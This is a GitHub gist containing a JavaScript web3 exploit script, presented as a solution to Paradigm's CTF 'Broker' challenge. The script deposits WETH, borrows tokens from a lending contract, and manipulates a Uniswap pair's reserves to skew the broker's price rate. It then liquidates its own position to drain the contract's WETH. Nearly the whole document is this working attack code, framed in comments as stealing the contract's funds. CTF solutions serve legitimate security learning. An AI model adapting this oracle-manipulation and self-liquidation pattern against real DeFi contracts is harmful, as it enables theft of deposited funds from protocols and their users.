Created
February 13, 2021 17:26
-
-
Save jclancy93/35de77326299e80df03b7ba9c80f4501 to your computer and use it in GitHub Desktop.
Exploit for Paradigm's CTF Broker Challenge
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const setupAddress = 'YOUR_SETUP_ADDRESS'; | |
const wethAddress = 'YOUR_WETH_ADDRESS'; | |
const web3 = new Web3(web3Provider); | |
(async () => { | |
console.log('Running exploit.....'); | |
try { | |
// Script Setup | |
console.log('Starting script setup....') | |
const setupABI = JSON.parse(await remix.call('fileManager', 'getFile', 'localhost/broker/public/contracts/artifacts/Setup.json')); | |
const brokerABI = JSON.parse(await remix.call('fileManager', 'getFile', 'localhost/broker/public/contracts/artifacts/Broker.json')); | |
const wethABI = JSON.parse(await remix.call('fileManager', 'getFile', 'localhost/broker/public/contracts/artifacts/WETH9.json')); | |
const tokenABI = JSON.parse(await remix.call('fileManager', 'getFile', 'localhost/broker/public/contracts/artifacts/Token.json')); | |
const uniswapPairABI = JSON.parse(await remix.call('fileManager', 'getFile', 'localhost/broker/public/contracts/artifacts/IUniswapV2Pair.json')); | |
console.log('Loaded all ABIs') | |
const setupContract = new web3.eth.Contract(setupABI.abi, setupAddress); | |
const brokerAddress = await setupContract.methods.broker().call(); | |
const tokenAddress = await setupContract.methods.token().call(); | |
const uniswapPairAddress = await setupContract.methods.pair().call(); | |
const uniswapContract = new web3.eth.Contract(uniswapPairABI.abi, uniswapPairAddress); | |
const brokerContract = new web3.eth.Contract(brokerABI.abi, brokerAddress); | |
const wethContract = new web3.eth.Contract(wethABI.abi, wethAddress); | |
const tokenContract = new web3.eth.Contract(tokenABI.abi, tokenAddress); | |
const accounts = await web3.eth.getAccounts() | |
console.log('Finished script setup....') | |
// 1. Get 150 WETH | |
// 2. Approve Broker for all WETH | |
// 3. Deposit 50 WETH in broker | |
// 4. Borrow 250k tokens | |
// 5. Use other 2500 ETH to buy as many tokens as possible, pushing token price way up and rate way down | |
// 6. You are now undercollateralized, so you can call liquidate on yourself and get back all your ETH | |
console.log('Depositing WETH', JSON.stringify(accounts[0])) | |
await wethContract.methods.deposit().send({ | |
from: accounts[0], | |
value: web3.utils.toWei('150', 'ether').toString() | |
}) | |
const wethBalance = await wethContract.methods.balanceOf(accounts[0]).call() | |
// Approving broker contract for weth | |
const approval = await wethContract.methods.approve(brokerAddress, wethBalance).send({ | |
from: accounts[0] | |
}) | |
console.log('wethBalance: ', wethBalance) | |
// Deposit 50ETH to broker | |
await brokerContract.methods.deposit(web3.utils.toWei('50', 'ether').toString()).send({ | |
from: accounts[0] | |
}) | |
const safeDebt = await brokerContract.methods.safeDebt(accounts[0]).call() | |
console.log('SAFE DEBT SHOULD BE 666K', safeDebt) | |
console.log('Deposit complete') | |
// Borrow 250K Tokens from Broker | |
await brokerContract.methods.borrow(web3.utils.toWei('250000', 'ether')).send({ | |
from: accounts[0] | |
}) | |
const tokenBalance = await tokenContract.methods.balanceOf(accounts[0]).call() | |
const tokenTotalSupply = await tokenContract.methods.totalSupply().call() | |
console.log('Borrow complete') | |
console.log('Safe Debt is now: ', safeDebt) | |
console.log('Token balance is now: ', tokenBalance) | |
// Prepare to exectue Uniswap trade | |
// First transfer tokens to pair | |
// Then execute swap | |
// This will change the rate | |
const reserves = await uniswapContract.methods.getReserves().call() | |
const rate = await brokerContract.methods.rate().call() | |
console.log("Pool reserves: ", reserves) // 25:500_000 | |
console.log("Broker rate: ", rate) // 20_000 | |
// TRANSFER 25 ETH to | |
await tokenContract.methods.transferFrom(accounts[0], uniswapPairAddress, tokenBalance).send({ from: accounts[0] }) | |
await tokenContract.methods.approve(uniswapPairAddress, tokenBalance).send({ from: accounts[0] }) | |
await wethContract.methods.transferFrom( | |
accounts[0], | |
uniswapPairAddress, | |
web3.utils.toWei('100', 'ether') | |
).send({ from: accounts[0] }); | |
await wethContract.methods.approve(uniswapPairAddress, wethBalance).send({ from: accounts[0] }) | |
const uniswapPairAddressTokenZeroBalance = await tokenContract.methods.balanceOf(uniswapPairAddress).call() | |
const uniswapPairAddressTokenOneBalance = await wethContract.methods.balanceOf(uniswapPairAddress).call() | |
const newWethBalance = await wethContract.methods.balanceOf(accounts[0]).call() | |
console.log('newWethBalance', newWethBalance) | |
console.log('Swap setup complete, pool has tokens and approval, initiating swap') | |
console.log('Uniswap Pair WETH Balance: ', uniswapPairAddressTokenZeroBalance) | |
console.log('Uniswap Pair TOKEN Balance: ', uniswapPairAddressTokenOneBalance) | |
console.log('Swapping...') | |
// Receive 375k Tokens for 100ETH | |
await uniswapContract.methods.swap(web3.utils.toWei('375000', 'ether'), 0, accounts[0], '0x').send({ | |
from: accounts[0] | |
}) | |
console.log('trade complete') | |
const newReserves = await uniswapContract.methods.getReserves().call() | |
const newRate = await brokerContract.methods.rate().call() | |
console.log("New Broker rate: ", newRate) | |
console.log(newReserves, 'new reserves') | |
// Approve max tokens for broker contract | |
await tokenContract.methods.approve(brokerAddress, tokenBalance).send({ from: accounts[0] }) | |
// Liquidate yourself at the new rate and steal all the ETH in the broker contract | |
await brokerContract.methods.liquidate(accounts[0], web3.utils.toWei('25000', 'ether')).send({ | |
from: accounts[0] | |
}) | |
const brokerWethBalance = await wethContract.methods.balanceOf(brokerAddress).call() | |
console.log('FINAL BROKER BALANCE: ', brokerWethBalance) | |
} catch (e) { | |
console.log(e.message) | |
} | |
})() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment